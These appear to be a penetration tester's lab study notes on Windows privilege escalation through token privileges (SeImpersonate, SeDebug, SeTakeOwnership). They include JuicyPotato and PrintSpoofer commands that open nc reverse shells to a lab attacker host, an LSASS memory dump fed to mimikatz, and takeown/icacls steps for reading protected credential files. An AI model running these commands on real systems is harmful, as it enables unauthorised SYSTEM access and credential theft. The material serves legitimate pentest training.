5. Tokens and abuse, abusable `Se` privileges

SeImpersonate and SeAssignPrimary token abuse, JuicyPotato

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards.

Every process has token with info about account running it. Tokens not considered secure resources Just locations within memory that could be bruteforced by users that cannot read memory To utilize token, SeImpersonate privilege is needed - only given to administrative accounts, and in most cases, can be removed during system hardening https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw

Legitimate programs may utilize another process's token to escalate from Admin to Local System (which has additional privileges) - Processes generally do this by making a call to the WinLogon process to get a SYSTEM token, then executing itself with that token placing it within the SYSTEM space.

Attackers often abuse this privilege in the potato style privescs - where a Service Account can SeImpersonate but not obtain full SYSTEM level privileges. Essentially, Potato attacks trick a process running as SYSTEM to connect to their rogue process, handing over the token.

Privilege often seen after gaining RCE via an application that runs in context of a service account (uploading a webshell to an ASP.NET application, achieving RCE through a Jenkins installation, or by executing commands through MSSQL queries) - When we get access this way, immediately check this priv as its presence often offers a quick and easy route to privesc

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt

Example - JuicyPotato Below example is foothold on SQL Server using privileged SQL user. Client connections to IIS and Sql Server may be configured to use Windows auth. Server then need to access other resources such as file shares as the connecting client. It can be done by impersonating the user who se context the client connection is established. - To do so, svc account is granted Impersonate a client after authentication privilege. https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/impersonate-a-client-after-authentication

In above, SQL Service account running in context of default mssqlserver account - Imagine RCE as this user using xp_cmdshell using set of creds obtained in a logins.sql on a fileshare using Snaffler, for example.

creds: `sql_dev:Str0ng_P@ssw0rd!`,

mssqlclient.py sql_dev@10.129.43.30 -windows-auth

// enable xp_cmdshell 
SQL> enable_xp_cmdshell

//confirm access
SQL> xp_cmdshell whoami
output                                                                             

--------------------------------------------------------------------------------   

nt service\mssql$sqlexpress01

whoami /priv in above context confirms seimpersonateprivilege is listed We can use this privilege to impersonate a privileged account like NT AUTH \ SYSTEM - JuicyPotato can be used to exploit the SeImpersonate or SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse.

  1. Download potato binary
  2. Upload this an nc.exe to tgt server
  3. Start nc listener on 8443
  4. Execute command
    1. xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
      1. --l > COM server listening port
      2. -p > program to launch (cmd.exe)
      3. -a > arg passed to cmd.exe
      4. -t > createprocess call
      5. Above tells tool to try both CreateProcessWithTokenW (Uses SeImpersonate) and CreateProcessAsUser (uses SeAssignPrimaryToken) functions
  5. Should catch a shell on your machine

PrintSpoofer and RoguePotato

https://github.com/itm4n/PrintSpoofer https://github.com/antonioCoco/RoguePotato

The same privileges can be leveraged (SeImpersonate etc) above, but with PS/RP to gain NT AUTH\SYSTEM level access.

PrintSpoof blog: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

attacker:

nc -lnvp 8443

SeDebugPrivilege escalation

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/debug-programs allows running app/svc or assist w/ troubleshooting distributed via local or domain group policy
By default only admins have it (it's sensitive - capture sysmem, access/modify kernel + app structures) devs might have it as part of day-to-day debugging sys components During internal pentest - often helpful to uses sites like linkedin to gather info about potential users to a target. In this example - we retrieve many NTLMv2 password hashes with Responder/Inveigh - in that case we may want to focus pw hash crack on high value accounts like devs who would be likely to have these types of privileges

Use ProcDump from sysinternals suite to leverage this privilege and dump process memory. https://docs.microsoft.com/en-us/sysinternals/downloads/procdump Good candidate would be LocalSecurityAuthoritySubsystemService (LSASS) https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Once successful, load into mimikatz using sekurlsa::minidump command, after issuing sekurlsa::logonPasswords we can gain ntlm hash of local administrator account logged-on locally. PtH atk to move laterally - if same local admin pw is used on one or more multiple add'tl systems (common in large orgs) Note: It is always a good idea to type "log" before running any commands in "Mimikatz" this way all command output will put output to a ".txt" file. This is especially useful when dumping credentials from a server which may have many sets of credentials in memory.

mimikatz # log

If you can't load tools onto the target but have rdp access - we can take a manual memory dump of the LSASS process via taks manager in the details tab - choosing lsass, and create dump file. download that file back to the attacking system - and use mimikatz the same way


SeDebugPrivilege can be leveraged for RCE as well https://decoder.cloud/2018/02/02/getting-system/ with this technique, possible to elev. privs to SYSTEM by launching a child process https://docs.microsoft.com/en-us/windows/win32/procthread/child-processes and using elevated rights granted to our account via sedebugpriv to alter normal system behavior to inherit the token of a parent process and impersonate it. if we target a parent process running as SYSTEM (specifying pid of target process/running program) we can elevate our rights quickly.

https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1

load it with this syntax:

[MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"") The PoC script has received an update. Please visit its GitHub repository and review its usage. https://github.com/decoder-it/psgetsystem

next, open elevated PS console (rightclick run as admin) and type in creds for jordan user - type tasklist to view running processes and running pids

PS C:\htb> tasklist 

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          4 K
System                           4 Services                   0        116 K
smss.exe                       340 Services                   0      1,212 K
csrss.exe                      444 Services                   0      4,696 K
wininit.exe                    548 Services                   0      5,240 K
csrss.exe                      556 Console                    1      5,972 K
winlogon.exe                   612 Console                    1     10,408 K

in this example we can target winlogon.exe with pid 612

![](/img/Pasted image 20250211224439.png) from above, tasklist to find winlogon.exe and script is from the psgetsystem poc above.


can also use Get-Process cmdlet to grab pid of a wellknown proc that runs as system such as LSASS and pass pid directly to the script, cutting down on # of steps required. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7.2

other tools such as this one: https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC https://github.com/daem0nc0re/PrivFu/tree/main whole github proj is able to be compiled from source into binaries to leverage tons of privileges

exist to pop a SYSTEM shell when we have SeDebugPrivilege

Often we will not have rdp access to a host, so modifying PoCs to return a revshell to our attack host as SYSTEM or another command such as adding an admin user.

Play around with pocs and see what other ways we can achieve SYSTEM access, especially without interactive session.


SeTakeOwnershipPrivilege

https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/take-ownership-of-files-or-other-objects Take ownership of securable objects meaning AD objs, NTFS files/folders, printers, regkeys, svcs, and processes. Assigns WRITE_OWNER rights over an object https://docs.microsoft.com/en-us/windows/win32/secauthz/standard-access-rights

Admins assigned this privilege by default.

Potentially granted to service accounts that are tasked with running backupjobs / VSS snapshots May be assigned with aa few others like SeBackupPrivilege, SeRestorePrivilege, and SeSecurityPrivilege to control this account's privileges at a more granular level + not granting full local admin rights. Abusing this privilege is a bit of an edgecase but worth understanding indepth especially since we may be in an AD env where we can assign this right to a user we control and leverage it to read a sensitive file

Found in Group Policy under - Computer Configuration ⇾ Windows Settings ⇾ Security Settings ⇾ Local Policies ⇾ User Rights Assignment

Can take ownership of any file or object and make changes that could involve access to sensitive data, RCE/DOS

If we encounter a user with this priv / assign it to them through an attack (ie. GPO abuse using SharpGPOAbuse https://github.com/FSecureLABS/SharpGPOAbuse) we can use this priv to potentially take control of a shared folder or sensitive files

If disabled, poc script to enable: https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1 details: https://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ https://medium.com/@markmotig/enable-all-token-privileges-a7d21b1a4a77

One thing you sometimes run into when it comes to some management tasks is the concept of ‘Token Privileges’. Now these aren’t just privileges that Windows gives you to make you feel better - those are Token Compliments. Token Privileges are aspects of the things your user account can do, but you often don’t need that power enabled by default. For example, anybody can restart a computer, but windows doesn’t enable that privilege by default:

Next, choose a target file In module example, describes example where there are public and private fileshare directories which could be a rich source of information Browsing private share, all dom users can list contents but get access denied errors when reading contents. Suppose file named cred.txt

Since we have SeTakeOwnershipPrivilege (granted or given via exploiting overly permissive GPO[group policy object] to grant our user account privilege) we can leverage it to read any file of our choosing

THIS IS POTENTIALLY DESTRUCTIVE BE CAREFUL DOING IT IN A PROD ENVIRONMENT GET CONSENT GET CONSENT IT IS BAD CAN DISRUPT APPLICATION

Gather info about target file:

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}

Check ownership:

cmd /c dir /q 'C:\Department Shares\Private\IT'
 Volume in drive C has no label.
 Volume Serial Number is 0C92-675B
 
 Directory of C:\Department Shares\Private\IT
 
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  .
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  ..
06/18/2021  12:23 PM                36 ...                    cred.txt

appears to be owned by service account

takeown binary to change ownership https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown

takeown /f 'C:\Department Shares\Private\IT\cred.txt'

confirming ownership

Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

this may not be enough! you may need to actually modify file ACL

cat 'C:\Department Shares\Private\IT\cred.txt'

cat : Access to the path 'C:\Department Shares\Private\IT\cred.txt' is denied.

giving full priv:

icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
After performing these changes, we would want to make every effort to revert the permissions/file ownership. If we cannot for some reason, we should alert our client and carefully document the modifications in an appendix of our report deliverable. Again, leveraging this permission can be considered a destructive action and should be done with great care. 

Files of interest when finding this privilege:

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

may also come across .kdbx KeePass db files ; OneNote notebooks, file such as passwords.* pass.* creds.* - conf files, virtual hdds, more to extract sensitive information